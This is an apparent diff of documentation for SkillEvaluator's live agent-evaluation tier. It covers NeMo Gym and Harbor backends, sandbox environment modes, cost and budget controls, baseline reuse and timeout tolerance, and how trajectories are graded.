SKILL_EVAL_NEMO_GYM_MODEL_API_KEY="$OPENAI_API_KEY" -skillevaluator tier3 doctor --backend nemo-gym --agents codex -skillevaluator tier3 evaluate ./my-skill --backend nemo-gym --agents codex --model -``` - -`tier3 doctor --backend nemo-gym` checks the Gym CLI interface and its version, that the Docker -daemon answers, the `SKILL_EVAL_NEMO_GYM_*` settings, each selected agent's policy model -endpoint, and the selected agents and `--env-mode`. The endpoint check uses -an isolated, unauthenticated HTTP probe with a three-second deadline. It honors -`HTTP_PROXY`, `HTTPS_PROXY` and `NO_PROXY` (also lowercase), but sends no endpoint -or proxy credentials and does not follow redirects. Policy endpoint HTTP responses, -including authentication errors, count as reachable. Proxy authentication failures -(`407`), failed HTTPS tunnels, and plain-HTTP proxy gateway errors (`502`, `504`) -fail the check instead. HTTPS origin responses after a successful tunnel still -count as reachable, including `502` and `504`. It does not -validate credentials or model compatibility. The separate CLI interface check runs -`gym eval run --help` with a 15-second timeout and a combined stdout/stderr limit of -256 KiB, without policy credentials or server startup. Timeout, interruption, or output -overflow stops its isolated process group with bounded TERM/KILL cleanup. It rejects -missing task-folder arguments and required flags before dataset -generation or task staging. Passing this necessary check does not certify live runtime -compatibility. A Gym run reports -configuration, Docker image, per-agent and collection progress. - -Public Gym 0.7.0 requires Python 3.13.14 or later. Gym runs as its own pinned install -rather than a SkillEvaluator dependency. Point `SKILL_EVAL_NEMO_GYM_BIN` at that -install's `gym` executable. The run records `execution_backend` (name, Gym version, -sandbox) in `result.json`; keep Harbor and NeMo Gym scores apart unless the model, -harness and judge match. - -The adapter's required Gym contract is `gym eval run TASKS --sandbox docker`, with -`--agent`, `--model-type openai_model`, `--model`, `--model-url`, `--output`, and -`--concurrency`, plus Hydra overrides for repeats, credentials and cache disabling. -Its help must describe a standalone positional `TARGET`, `tasks`, `task_dir`, -`tasks_dir` or `task_folder` argument. Each rollout must identify its task and provide -`verifier_return_code` and `verifier_logs_dir`, where the SkillEvaluator verifier's rewards and trajectory can -be collected. The Gym implementation must execute inside Docker and resolve task -environment templates; a host-only agent harness does not meet this contract. - -The adapter maps `codex`, `claude-code` and `opencode` and accepts `default`, -`default_plus_custom` and `custom_only` grading modes. These are adapter capabilities; -the live-run status in the table above does not qualify every combination. -Every other `--env-mode` (including `local`, `daytona`, `e2b` and `singularity`) is -not supported on the NeMo Gym path and is rejected before the run starts; use -`--backend harbor` for those modes. Unset flags fall back to these `evals/config.yml` keys, as on Harbor: -`harbor.n_attempts`, `pass_threshold`, `n_concurrent`, `max_cases`, `agents..model`, -`resources` (`cpus`, `memory_mb`), `runtime_env`, `grading.mode`, and -`skill_workspace.mode`/`include`. `--skip-baseline`, `--skip-with-skill`, `--max-cases` and -`--agent-model` (one model per agent) apply the same way. `--timeout-multiplier` (or -`harbor.timeout_multiplier`) scales each task's agent, verifier, and environment-build timeouts -as on Harbor, and Gym enforces them. `harbor.agent_workdir` and `harbor.pre_agent_setup` -(alias `setup_commands`, with-skill-only runs) work as on Harbor: Gym starts the agent in -that working directory and runs the setup commands as the task's environment healthcheck -before the agent. `--copy-repo` stages the whole repository under -`/workspace/repo/` as on Harbor, and a `skill_workspace.decoy_manifest` stages the same -verified decoy snapshot into every arm. Native `evals/harbor/` tasks (`task_source: native_harbor`, or -`auto` without `evals/evals.json`) are staged with Harbor's own native staging and run on Gym; their verifiers may write -`reward.json` or a numeric `reward.txt`, and `--override-cpus`/`--override-memory-mb` apply to them, as on Harbor. `harbor.base_image_mode` -(reuse/rebuild) builds Harbor's shared eval base image that the task images start from. `--custom-dockerfile-mode` rebase and preserve -behave as on Harbor. `--environment-kwarg` is rejected, as Harbor rejects it in -Docker mode. It rejects `--stop-on-pass`, -`--harbor-keep-jobs`, `--agent-runtime-preflight`, `--override-storage-mb`, -`--reuse-baseline`, `--compare-to`, `--max-agent-tokens`, `--max-judge-calls`, -`--max-attempts-total`, `--max-cost-usd`, `--price-file`, `--tolerate-baseline-timeouts`, -and the config keys -`resources.storage_mb`, `max_agent_tokens`, `max_judge_calls`, `max_attempts_total`, -`max_cost_usd`, `price_file` and `tolerate_baseline_timeouts: true` under `harbor`, MCP -servers in `evals/environment/mcp_servers.toml` or a native task's `[[environment.mcp_servers]]`, a model URL with embedded credentials, and Windows hosts, -whether set by flag or config (a flag overrides its config key), before anything -starts (`tier3 PATH --autopilot` checks these before it writes a dataset); it never -falls back to Harbor. `runtime_env` (alias `passthrough_env`) entries reach the agent's sandbox as `${NAME}` -references resolved from Gym's environment. Gym receives only the variables Harbor's -Docker backend allows (including `DOCKER_HOST`, `DOCKER_CONTEXT` and TLS settings), -Gym's `UV_*` package-index settings and credentials, `NETRC`, and the policy and judge -credentials; relative Docker and TLS paths are made absolute first. Judge overrides -(`LLM_JUDGE_MODEL`, `SKILL_EVAL_JUDGE_*`) reach Gym's verifier as on Harbor, and Vertex -AI ADC tokens are refreshed before every `gym eval run`. Every agent and arm is staged -from one skill snapshot before the first launch. A missing or failed attempt counts as a -failed trial, and the arm keeps its other scored trials. Excess rollouts are reported -as execution errors and scoring remains bounded by the planned attempts. Any launch -or rollout-count failure marks the -run, the agent's progress row and the report as failed. If Gym's process group cannot be -confirmed stopped after a timeout or interruption, no further arm starts beside it. After a -timeout, the run records that as an execution error, finishes as failed and keeps the scores -of the arms that finished. After an interruption, the progress output reports it and the run -ends. Either way, check for leftover Gym servers and Docker sandboxes before you run again. -A finished run updates `latest` -and records the same dataset snapshot and publication target as a Harbor run. As on -Harbor without `--harbor-keep-jobs`, the staged tasks and per-trial files are removed at -the end; Gym's own redacted `gym.log` and its `rollouts.jsonl` stay under `_nemo-gym/` -in the run folder, and the rollouts hold the raw agent responses. - -## Where agents run - -`--env-mode` selects one of 27 environment modes: 26 Harbor-native backends, -including the default Docker backend, plus SkillEvaluator's **local mode**, -which runs the agent CLI directly on the host under an OS-sandbox policy. -Managed backends such as `daytona`, `e2b`, and `modal` require their mapped -Harbor 0.25 extra; OpenShift, Apple Container, and Singularity instead use -system CLIs and have no Harbor Python extra. These are selectable integration -modes, not evidence that every managed backend was exercised end to end for -this release. The transport integration suites target Docker and local; -Kata mode reuses the Docker transport but has not been exercised on a KVM host. -Validate any managed backend's extra, credentials, infrastructure, and -constructor settings with `doctor` and its Harbor preflight before relying on -it. - -Harbor's `cua-cloud`, `opensandbox`, `hf-sandbox`, `podman`, `prime`, -`smol`, `sbx`, `sail`, and `kernel` backends are not selectable until they can -receive SkillEvaluator's complete generated task bundle through a trusted -image or backend-native provisioning path. - -Environment kwargs are only for Harbor-native non-Docker backends. Pass -non-secret constructor settings with the repeatable, operator-only -`--environment-kwarg KEY=VALUE` / `--ek KEY=VALUE` option. Skill-owned -`evals/config.yml` cannot set them. `docker` and `local` reject any environment -kwargs, and `kata` accepts only `kata_runtime` and `kata_dns`. Fields owned by Harbor runtime policy are also reserved: resource -overrides, mounts, network policy, extra Compose definitions, SkillEvaluator's -own lifecycle fields (`delete`, `force_build`, `keep_containers`), output -mount controls (`auto_mounts`, `auto_mounting`), and -Kubernetes pod security are not exposed through this surface. Other -backend-specific timeout and retention knobs remain operator-owned. The -`cwsandbox` and `wandb` modes also reserve `forward_compose_env` to prevent host -environment values from being copied into task Compose definitions. Use the same -eligible-backend flags with `doctor` and `health-check`; never pass secrets -through constructor kwargs. GKE requires -`cluster_name`, `region`, `namespace`, `registry_location`, and -`registry_name`; ACK requires `namespace`; EC2 requires `region` plus `ami_id` -for its default ephemeral launch mode or `instance_id` with -`launch_mode=attach`. The complete environment/extra matrix, examples, Docker -resource tuning, local-mode safety controls, and workspace modes live in -[Agents & Sandboxes](/skills/skillevaluator/agents-and-sandboxes). - - -Local mode executes the agent on your host rather than in a container. It is -experimental and intended for trusted skills and workspaces — use Docker or a -cloud backend for untrusted code. - - -## Two ways to run Tier 3 - -| Use case | Command | When to use | -| --- | --- | --- | -| Full validation | `skillevaluator validate ./my-skill` | Run all three tiers; Tier 3 uses autopilot and is advisory by default, optionally blocking | -| Focused evaluation | `skillevaluator tier3 evaluate ./my-skill --agents codex` | Iterate on datasets, agents, environments, and grading settings | - -Attached to `validate`, Tier 3 is advisory by default: its results appear in the -combined reports without changing the exit code. Add `--block-on-agent-eval` -to make its findings gate, including evidence that the selected YAML/JSON -dataset or native Harbor source is missing or invalid. A blocking Tier 3 passes -only with a completed `PASS` verdict and complete attempt coverage; `NEUTRAL` -and `FAIL` verdicts exit 1. Autopilot is enabled -by default for skills: it generates one starter case when no source exists and -reuses valid existing sources unchanged. `--full` remains supported but is -unnecessary. Use `--tiers 1,2` or `--no-tier3` to skip live evaluation; -`--no-autopilot` requires an existing evaluation source. - -```bash title="Make attached Tier 3 blocking" -skillevaluator validate ./my-skill --agents codex \ - --block-on-agent-eval -``` - - -`validate` forwards a dedicated Tier 3 flag group (`--agents`, `--env-mode`, -`--grading-mode`, and the rest) to the live-eval engine whenever Tier 3 is -enabled, which is the default for skills. `--agent-eval` remains a supported -alias for `--tier3`; explicit tier selection and disable flags control the -scope. See the [CLI Reference](/skills/skillevaluator/cli-reference) for the full group. - - -## Plan for cost - -Tier 3 performs live model and agent calls, so it can incur provider charges -and, with a managed cloud environment, sandbox charges. A useful estimate of -the trial volume is: - -```text -eval cases × agents × attempts × arms +export OPENAI_API_KEY='sk-...' ``` -A standard comparison has two arms (with-skill and without-skill). Each trial -can make multiple agent-model requests, standard grading adds evaluator-model -calls, dataset generation can add more, and the optional runtime preflight adds -one extra agent execution per agent. Actual charges therefore depend on the selected -models, token usage, agent behavior, and environment pricing; SkillEvaluator -does not estimate a fixed dollar amount. Check the current pricing for your -[NVIDIA API Catalog](https://build.nvidia.com/), -[OpenAI](https://openai.com/api/pricing/), -[Anthropic](https://docs.anthropic.com/en/docs/about-claude/pricing), or -[Amazon Bedrock](https://aws.amazon.com/bedrock/pricing/) provider and, when -applicable, your cloud sandbox vendor. - -Start with one agent, a small reviewed dataset, and `--n-attempts 1`. During -dataset iteration, `--skip-baseline` removes the without-skill arm and usually -cuts the live trial count roughly in half, but that run cannot produce Skill -Lift. Re-enable the baseline for any result you intend to compare or publish. -For multi-attempt runs, `--stop-on-pass` can avoid remaining attempts after a -pass; it is rejected with `--n-attempts 1`. To try a large dataset before -paying for every case, `--max-cases N` (or `harbor.max_cases`) runs only the -first N cases in staged order: eval dataset order, or task-directory name -order for native Harbor tasks. The run records the selection in -`run_config.json`, its dataset snapshot covers only the cases that ran, and -reports mark it publication-incomplete when cases were skipped. By contrast, -`--n-concurrent` and `--max-agents` control parallelism and elapsed time; they -do not reduce the total planned trials or model work. + + -With `--stop-on-pass`, an attempt that hits Harbor's agent execution timeout -does not end the case: the next attempt runs, and when a later attempt of the -same case completes with a score, it recovers the timeout. The timed-out -attempt is never scored, and its failure stays in the agent's results under -`recovered_trial_failures`. It still used one of the case's attempts, so -reports count it on its own: the HTML **Attempt Details** row shows it as -`A1: timed out, recovered`, or as a count (`1 timed out, recovered`) when the -report did not keep its attempt number, and keeps it in the attempt total. A -case that timed out on attempt 1 and passed on attempt 2 of 3 reads -`1 of 3 scored` and `passed on attempt 2`, and `tier3 evaluate` prints one -line for each agent with recovered timeouts. Without `--stop-on-pass` there is -no recovery: a timed-out attempt leaves the arm's attempt coverage incomplete. +For Anthropic, a different model, or an existing provider setup, use +[Providers & Credentials](/skills/skillevaluator/configuration). -### Cost and local mode - -`--env-mode local` avoids managed cloud-sandbox charges by running the agent -on your machine. It does **not** automatically eliminate model charges: a -hosted evaluator or agent provider is still billed normally, and local compute -and runtime become your responsibility. If both the evaluator and agent are -configured to use compatible locally hosted models, external API charges may -also be avoided. - -```bash title="Small local trial" -skillevaluator tier3 evaluate ./my-skill --agents codex --env-mode local \ - --n-attempts 1 -``` - -Local mode is experimental and provides weaker isolation than Docker or a -managed sandbox. Use it only for trusted skills and workspaces; saving sandbox -cost is not worth running untrusted code directly on the host. - -## Tune the run - -The high-signal flags, with defaults: - -| Flag | Default | Effect | -| --- | --- | --- | -| `--n-attempts` | `1` | Attempts per eval case; values above one add pass@k context | -| `--pass-threshold` | `0.5` | Score an attempt needs to count as passed | -| `--n-concurrent` | `4` | Concurrent eval cases per agent | -| `--max-agents` | selected-agent count | Maximum agents run in parallel | -| `--max-cases` | every case | Run only the first N eval cases; a run that skips cases is not publication evidence | -| `--skip-baseline` | off | Skip the without-skill arm; faster, but no Skill Lift | -| `--reuse-baseline RUN` | off | Reuse a compatible fresh baseline from a retained run id, or `latest` | -| `--skip-with-skill` | off | Run only the without-skill arm, for example to calibrate a task set; the report shows baseline scores with no Skill Lift or skill verdict | -| `--stop-on-pass` | off | Stop a case's remaining attempts once one passes | -| `--agent-runtime-preflight` | off | Add one agent-only execution of the first staged task per agent before the full A/B matrix; `--no-agent-runtime-preflight` overrides a config value that enables it | -| `--tolerate-baseline-timeouts` | off | Keep an agent scored on its with-skill arm when only baseline attempts hit the agent execution timeout; see [Baseline timeouts](#baseline-timeouts) | -| `--progress` | `auto` | Progress rendering: `auto`, `rich` (live TTY view with secret redaction), `plain`, or `off` | -| `--progress-interval` | mode default | Seconds between progress heartbeats: 1 for `rich`, 60 for `plain` lines in CI and redirected output | -| `--autopilot` | off | When no evaluation source exists, generate exactly one eval case — with the configured provider, falling back to a deterministic keyless template — never overwriting an existing source | -| `--grading-mode` | `default` | `default`, `default_plus_custom`, or `custom_only` — see [Custom Graders & Tasks](/skills/skillevaluator/custom-graders) | -| `--results-dir` | `evals/results`, or `SKILLEVALUATOR_RESULTS_DIR` when set | Write results under an external root instead of the skill directory; custom in-skill roots are rejected | -| `--harbor-keep-jobs` | off | Retain Harbor job directories for inspection | -| `--timeout-multiplier` | `1.0` | Scale Harbor's agent, verifier, and environment-build timeouts; must be a finite number greater than 0 whose scaled timeouts stay finite | -| `--copy-repo` | off | Copy the surrounding repository into the task environment | -| `--include-skills` | none | Stage additional skill directories; requires `--skill-workspace-mode group` | - -With `--stop-on-pass`, `--n-concurrent` still limits concurrent eval cases per -agent. Each case's attempts run one after another and stop after the first -passing score. The with-skill and without-skill arms run one after the other, -and each uses the full `--n-concurrent` budget. For example, two agents with -`--n-concurrent 4` run up to eight trials at once, fewer when fewer cases -remain. - -Run budgets (`--max-agent-tokens`, `--max-judge-calls`, -`--max-attempts-total`, and priced `--max-cost-usd`) control admission between -logical units of work. Already admitted work can take measured usage above a -cap, including on the final unit. These are admission boundaries, so a priced -cost budget does not guarantee a hard dollar cap. - -Concurrent admission reserves each in-flight attempt using the largest measured -per-attempt usage seen so far in this run, separately for agent tokens, judge -calls, and priced cost. Estimates come only from real telemetry. When a bounded -dimension has no measurement yet, only one logical calibration unit (such as a -with-skill/baseline pair) may be in flight across the run. Other workers wait -until every admitted attempt in that unit finishes, even if its first attempt -already provided a measurement. If bounded usage is unmeasured, admission stops -under the existing unknown-usage rule. -For each bounded dimension with an estimate, admission checks -`used + (in-flight attempts + proposed attempts) × estimate` against the cap. -If that projection exceeds a cap while work is in flight, the worker waits for -completion and re-checks fresh usage; waiting alone does not mark attempts -`not_run`. If the projection still exceeds a cap with nothing in flight, the -unit is denied, even when measured usage is below the cap. Its members retain -`reason: budget_exhausted` and add `basis: estimate`; `budget.exhausted_basis` -also identifies estimate-based exhaustion. The budget summary shows measured -usage and the estimated next unit, rather than implying usage reached the cap. -Attempt-count limits and stopping on unknown bounded usage are unchanged. - -If every attempt for an agent arm is denied by the budget, no Harbor job is -created for that arm. It is reported as skipped with `skip_reason: -budget_exhausted`, zero expected and scored attempts, and no execution error. -The run remains incomplete because the budget left planned attempts not run. -An empty Harbor job that was expected to execute attempts still fails validation. -This also applies with `--stop-on-pass`: every planned case and attempt must have -an explicit budget denial before an arm is considered not run. A reused baseline -remains baseline evidence when the with-skill arm is denied; it does not become -the run's overall score. Records with an explicit non-budget reason do not reduce -the required attempt coverage. - -Reservation reduces but does not eliminate in-flight overshoot. Estimates can -grow, an attempt can exceed its estimate, and the calibration unit is -unestimated. A run can also stop below its cap because of an estimate. Caps -remain admission boundaries, not hard ceilings; there is no -hard currency ceiling. `budget.reservation` records the -`largest_measured_attempt` policy, `estimate_per_attempt` (or `not measured`), -`in_flight_attempts`, `waits` (all condition waits), `calibration_waits` (the -calibration subset), and `unestimated_admissions` (attempts admitted with at -least one bounded usage dimension still unmeasured). `estimate_denials` counts -logical units refused after estimate-based exhaustion; `denied_unit_size` -records the size of the unit that first caused that exhaustion. - -Cost summaries cover agent inference accounting only, using user-supplied -rates with a provider-reported cost fallback, not billed spend. Judge inference, -setup, containers, backend fees, and infrastructure charges are not included. -Unknown agent cost is not treated as zero; measured subtotals remain visible, -and unknown cost stops further admission when a cost limit is configured. - -`budget.status` and `exhausted_limit` describe admission decisions; -`budget.partial` records attempts left not run. Separately, -`budget.observed_overruns` maps each exceeded limit to its measured `used`, -configured `limit`, and `excess` (with attempts measured by started attempts). -Only usage strictly above a cap is an overrun; completion exactly at a cap -remains within it. Summaries derive these facts from usage and limits, -including for older saved runs. Missing or partially measured bounded usage -is reported as unverified, and unconfigured limits are not checked. An observed -overrun alone does not change scores, execution success, or partial-run status. - -After execution, `run_config.json`, `result.json.run_config.budget`, and -`result.json.budget` contain the same final accounting. Reports also prefer -the top-level result budget when rebuilding older runs with stale run configs. -Terminal, HTML, and benchmark reports show the shared budget summary, including -exhaustion, not-run attempts, measured overruns, and unverified bounded usage. - -When `budget.not_run` is non-empty, the run-level summary verdict is -`incomplete`: the budget left planned work unexecuted, not evaluated failures. -Admitted attempts keep their per-case and per-agent scores. Any displayed -Skill Lift covers admitted attempts only; it is not a complete-run verdict -that the skill helps. An overrun without not-run attempts retains its verdict. -Budget reporting does not change admission, scoring, execution status, or -command exit codes. - -In a terminal, `--progress auto` uses the `rich` view: one table of the run -plan and its stages that keeps the same height for the whole run. Each row is -one line, and a long value ends in an ellipsis instead of wrapping. The agent -models, provider and run plan are also printed in full above the table -whenever they change. The table shows the most recently updated stages in a -fixed number of rows, at least six and at least one per agent. When the run -ends, the table left on screen lists every stage. Its details wrap in full -when the terminal leaves the Detail column at least 20 columns; in a narrower -terminal each row stays on one line. The view redraws only when a stage -changes or a heartbeat updates elapsed times. If drawing fails, including a -terminal write that would block, the table stops updating with its stages as -they were, a line says that the run continues, and no further progress is -shown for that run; the final results still print. When the terminal also -refuses that line, or the write that shows the cursor again, a line saying -that the run went on is printed and the cursor is shown when the run ends. If -the terminal refused only that line, a stream that keeps what the terminal -refused, as standard error does, sends that line then instead of the later -one, although after a failed first frame both can appear. If the terminal -still refuses writes when the run ends, such a stream sends the later line and -the write that shows the cursor once the terminal takes writes again, but only -if its buffer has room for them. A buffer already full of a refused table can -drop that line and leave the cursor hidden. When any run ends, whether or not -drawing failed, the view drops its own copy of output the terminal still -refuses, such as a refused final table, so it does not draw that output over -lines printed since. A stream that keeps what the terminal refused, as -standard error does, can still send it later, and a table sent then can still -erase those lines. - -Every `tier3 evaluate` flag, including resource overrides and Dockerfile -modes, is in the [CLI Reference](/skills/skillevaluator/cli-reference). - - -While iterating on a dataset, `--skip-baseline` roughly halves the runtime. -Re-enable the baseline arm for any run whose Skill Lift you intend to trust. - - -### Reuse a baseline - -Use `skillevaluator tier3 evaluate ./my-skill --reuse-baseline latest` to run -the with-skill arm against an existing without-skill baseline in the same -results root. An explicit retained run id can replace `latest`. This option -cannot be combined with `--skip-baseline` or `--skip-with-skill`. - -Reuse requires matching datasets and case coverage, selected agents and resolved -models (including model sources), environment configuration, judge/scorer, -attempt policy, evaluator version, and workspace/repository-context settings. -Skill content and evaluated revision are separate from baseline compatibility. -The source must have a successful, complete, freshly executed without-skill arm -with readable persisted case/attempt evidence. Older runs without that evidence, -failed or partial baselines, and runs which themselves reused a baseline are -not sources. Keep the original fresh run if you want to reuse it again. - -An incompatible explicit id fails before agent jobs launch and lists the -rejection reasons. `latest` searches completed runs newest first; if none is -compatible, evaluation runs a fresh baseline and records bounded rejection -diagnostics. Reports identify the source and timestamp when reuse succeeds. -The new run retains its own baseline rows. Fresh execution counts and reused -trial counts are separate; reused evidence is not another independent attempt. -Cost savings depend on the run, including agent, judge, and environment usage. -Baseline compatibility deliberately excludes concurrency and budget. It does -not establish actual judge-model agreement. Reused resource measurements are -historical observations from the source run, not fresh consumption or independent -evidence in this run; consider these limits alongside task outcomes when -interpreting resource differences. - -### Compare skill versions - -Add `--compare-to RUN` to compare the current with-skill arm with a retained -run's with-skill arm. This is separate from Skill Lift, which still compares -with-skill against no-skill. It can be combined with `--reuse-baseline latest`: - -```bash -skillevaluator tier3 evaluate ./my-skill --compare-to RUN --reuse-baseline latest -skillevaluator tier3 compare-versions ./my-skill --current CURRENT --prior PRIOR -skillevaluator tier3 compare-versions ./my-skill --current CURRENT --prior PRIOR --json -``` - -Both runs must have compatible datasets/cases, agents and resolved models, -environment, judge/scoring policy, attempts, evaluator version, and workspace -configuration. The prior with-skill arm must have complete successful scored -evidence; it may itself have reused a no-skill baseline. An incompatible -explicit id is refused before agent execution. `--compare-to latest` searches -newest first for an eligible different skill revision, records bounded rejected -candidates, and continues without a version comparison if none is available. -An explicitly selected identical skill identity is allowed but flagged as -not a version change. - -Version deltas use the same per-case pairing and score policy as Skill Lift. -A negative available delta is marked as a regression; missing or unscored -evidence is unavailable, never zero or a regression. Reports show the source -run/revision and prior-to-current score transition. `compare-versions` is -read-only, needs no provider credentials, and uses the same results-root -resolution via `--results-dir`. It exits nonzero when comparison is unavailable. -The static semver option `--previous-version` is unrelated and unchanged. - -### Baseline-only runs - -`--skip-with-skill` is the counterpart of `--skip-baseline`: it stages and runs -only the without-skill arm. Use it to measure how agents do on a task set -before the skill exists, or to re-measure a baseline after a model or harness -change without paying for with-skill trials. +### Check readiness -```bash title="Baseline-only calibration run" -skillevaluator tier3 evaluate ./my-skill --agents codex --skip-with-skill +```bash title="Check your provider and Docker setup" +skillevaluator doctor --env-mode docker ``` -The run is reported as a baseline calibration, not a skill evaluation. The -overall score and best agent come from the baseline arm, the with-skill arm is -recorded as `skipped`, with-skill scores and Skill Lift are unavailable (shown -as `skipped` or N/A, never 0.0), and the verdict stays NEUTRAL because no skill -was measured. The two flags are mutually -exclusive, and baseline isolation rules still apply: a config that sets -`harbor.pre_agent_setup` (or `setup_commands`) is rejected, because the -baseline arm must stay isolated from skill-owned setup commands. `validate` -does not accept `--skip-with-skill`, so a baseline-only run can never satisfy a -Tier 3 gate. +Fix any failed checks before continuing. Docker-mode trials install the agent +inside their containers. [Runtime setup and troubleshooting](/skills/skillevaluator/agents-and-sandboxes). -### Baseline timeouts + -By default, any attempt that errors or goes unscored fails its agent, and any -failed agent fails the whole run: one baseline attempt that hits the agent -execution timeout leaves the run with no overall score or verdict, even though -the verdict reads only with-skill dimensions. `--tolerate-baseline-timeouts` (or -`harbor.tolerate_baseline_timeouts: true` in `evals/config.yml`) keeps such an -agent scored on its with-skill arm. `--no-tolerate-baseline-timeouts` -overrides a config value that enables it. +## Start with one command -```bash title="Keep agents whose baseline timed out" -skillevaluator tier3 evaluate ./my-skill --agents claude-code,codex --tolerate-baseline-timeouts +```bash title="Run a paired comparison" +skillevaluator tier3 ./my-skill --env-mode docker --n-attempts 1 ``` -The option applies only to an agent whose with-skill arm completed and whose -baseline has at least one attempt that ended in `AgentTimeoutError` (an attempt -a later `--stop-on-pass` attempt recovered does not count). The agent stays -scored only when every one of these holds; otherwise it fails as before, and -the run warning names the rule that did not hold: - -- Its with-skill arm scored every attempt with no errors. -- Every missing baseline attempt is a trial that ended in Harbor's - `AgentTimeoutError`, matched case by case and, with `--stop-on-pass` or a - cost limit (each attempt then runs as its own job), attempt by attempt. - Attempts that a [cost limit](#cost-limits) left `not_run` are not expected, - so they are not missing. A setup timeout, - process exit, verifier failure or any other baseline error is not - tolerated. Native multi-step tasks are not covered: Harbor records their - agent timeouts on the step rather than on the trial, so such a baseline is - refused (`step_timeout_not_supported`). -- Every timed-out attempt shows agent output (output tokens above zero; a - count past the JSON-safe integer range is not evidence). -- Each timed-out attempt left an agent log, and no log shows a known provider - overload, rate limit, quota or authentication error identifier (such as - `rate_limit_error`, `insufficient_quota`, `Error code: 429` or a `429` - status field). This is a best-effort check: a provider error worded in a - way it does not know is not caught. -- Every other agent completed, at least one of them completed both arms, and - the run has no other launch errors. A single-agent run never qualifies. -- The run grades standard dimensions (not `custom_only`) and runs both arms. - A baseline reused with `--reuse-baseline` did not run in this run, so the - option does not apply to it. - -For a tolerated agent, the baseline condition stays `failed` with its errors, -and its baseline scores, Skill Lift, pass@k lift and security attribution are -not reported. The reports, and the findings panel that `tier3 evaluate` prints -with `--verbose`, rank it below every agent with a complete baseline, so the -best agent, overall score and lift come from complete evidence. The run's -verdict and the `RUN QUALITY VERDICT` line that `tier3 evaluate` prints -read the same agents: a tolerated agent that passes every dimension -does not make the run PASS, and when every agent with a complete baseline -never activated the skill the verdict is INCONCLUSIVE. When the best agent -never activated the skill, the findings panel is left out rather than showing -a tolerated agent's findings. `BENCHMARK.md` and `report.html` keep the "Needs -attention" note and name each tolerated agent on its own line, for example -`Baseline incomplete for opencode (1 of 2 attempts scored)`, also when a cost -limit leaves the report without a completed-agent result. - -`result.json` records the timed-out attempts under the agent's -`baseline_timeout_tolerance` (also written to -`/baseline_timeout_tolerance.json`; at most 32 attempts are listed, and -`failed_attempts` is the exact count). An agent that was refused gets -`baseline_timeout_tolerance_rejection` with the rule's code. The run-level -`baseline_timeout_tolerance` lists the tolerated agents and the launch errors -their timeouts explain (at most 32, with `explained_launch_errors_total`). The -run lists a warning for each tolerated or refused agent, and `run_config.json` -records `harbor.tolerate_baseline_timeouts`. The option changes no execution, -so `--reuse-baseline`, `--compare-to` and `tier3 history` do not compare it: -runs with and without it still pair. The missing baseline attempts -still count, so the run is not complete publication evidence and does not -satisfy a blocking Tier 3 gate. - -## How standard grading judges a trial - -With `default` or `default_plus_custom` grading, SkillEvaluator's verifier -grades each trial after the agent finishes. `security`, `skill_execution`, and -`skill_efficiency` are deterministic trajectory checks. `accuracy` and -`goal_accuracy` are LLM judges that call the configured evaluator provider. -`behavior_check` combines the behavior judge with directly evaluated declared -checks; a checks-only case makes no behavior judge call. `custom_only` runs -none of them. - -`skill_efficiency` averages skill routing with tool efficiency, the share of -scored tool calls that did productive work. For Claude Code, Codex and OpenCode -tool names, reading, searching, listing, writing, editing or patching files, -running commands and activating a skill are productive, and so are MCP tools -named `mcp__server__tool` (Claude Code). Codex and OpenCode MCP calls are not -recognized as MCP calls yet, so most of them count as wasted. Help, version and -install commands and searches rooted at `/` are wasted. Planning and -bookkeeping calls, such as `TodoWrite`, `update_plan`, task lists, -background-shell polling and sub-agent calls, are not counted, and a trial with -only such calls scores 0.0. [Reports](/skills/skillevaluator/reports) lists the tool classes. - -The three LLM judges return verdicts only, and the verifier computes the -scores. A `score` field in a judge reply is ignored. - -Error recovery distinguishes skill files, agent command errors, and missing -runtime dependencies. Missing tools/modules declared by or used by the skill -are environment problems: recovered failures have no deduction, while an -unrecovered environment failure without an unrecovered skill fault marks the -case `environment_invalid`. `skill_execution` then returns no score, the -verifier skips the judges, and the collector leaves the trial UNSCORED -(excluded from skill score averages). Any unrecovered skill fault in the same -trial is scored as a skill failure instead. Agent-only failures remain -unscored with the environment issue, and are included in its reason and -`evaluation_errors`. Reports include the missing name and dependency -declaration/installation guidance. Declare system tools in -`scripts/apt-packages.txt`, Python packages in `scripts/requirements.txt`, or -install them in `evals/environment/Dockerfile`. Agent-chosen tools the skill -does not use remain agent errors. Missing files inside the skill remain skill -defects (0.25 deduction if recovered); real unrecovered skill/agent failures -still score zero. - -- `accuracy` is passing criteria divided by five. The criteria grade the - outcome: `ACTION_CORRECT`, `FACTUALLY_ACCURATE`, `TASK_ADDRESSED`, - `ACTIONABLE`, and `FORMAT_FOLLOWED` (the response follows any output format - the question explicitly requires; when none is required, it is true only if - the response gives an answer). A response that gives no answer fails all - five criteria and scores `0.0`, unless the expected answer is itself a - refusal. Every case and both arms use the same - five criteria. None of them asks whether the agent named or used the skill; - `skill_execution` scores that. A reply without all five true/false verdicts - is invalid. -- `goal_accuracy` is `1.0` when the judge decides the goal was `achieved` and - `0.0` otherwise, the same binary scale as the RAGAS scorer. -- `behavior_check` includes the share of expected behaviors observed and any - directly evaluated declared checks. When expected behaviors are present, the - reply must judge every behavior exactly once, identified by its 1-based - `step` number; a reply that skips, repeats, or invents a step is invalid. - A checks-only case is evaluated directly without a judge call. - -Rewards record `judge_contract: skill-evaluator-judges-v2`. Results written -before this contract, whose `accuracy` included a `SKILL_IDENTIFIED` criterion, -are not directly comparable with newer ones: a correct no-skill baseline answer -used to be capped at `0.8` on positive cases. - -### The graded trajectory - -The verifier grades Harbor's ATIF `trajectory.json`. When that file is missing -or has no steps, it rebuilds a trajectory from the agent's own log in the -trial's agent log directory, trying `claude-code.txt`, `cursor-cli.txt`, -`cline.txt`, `opencode.txt`, and `codex.txt` in that order: - -- `opencode.txt` is OpenCode's JSON event stream. Text events become agent - messages, and completed tool events become tool calls whose output keeps the - tool's status, exit code, and error text. -- `codex.txt` is the Codex JSON event log. Shell commands, file changes, MCP - tool calls, `web_search` actions (with the full search, open-page, or - find-in-page payload), and `collab_tool_call` items become tool calls. Failed - commands keep their `status=failed` and `exit_code=` evidence, so - error-recovery checks still see them. - -Each trial's reward records the artifact it graded in `trajectory_source`. If -neither `trajectory.json` nor a supported log yields any steps, the reward -records `No trajectory or reconstructible agent log`. Custom graders read -`trajectory.json` directly and do not get this rebuild. - -### Character-sensitive judging - -Set `SKILL_EVAL_JUDGE_CHARACTER_FACTS=1` in the evaluator's host environment to -append character facts to the `accuracy`, `goal_accuracy`, and `behavior_check` -prompts. For example, a literal U+00A0 (NO-BREAK SPACE) in code can look like an -ordinary U+0020 space even when the task treats 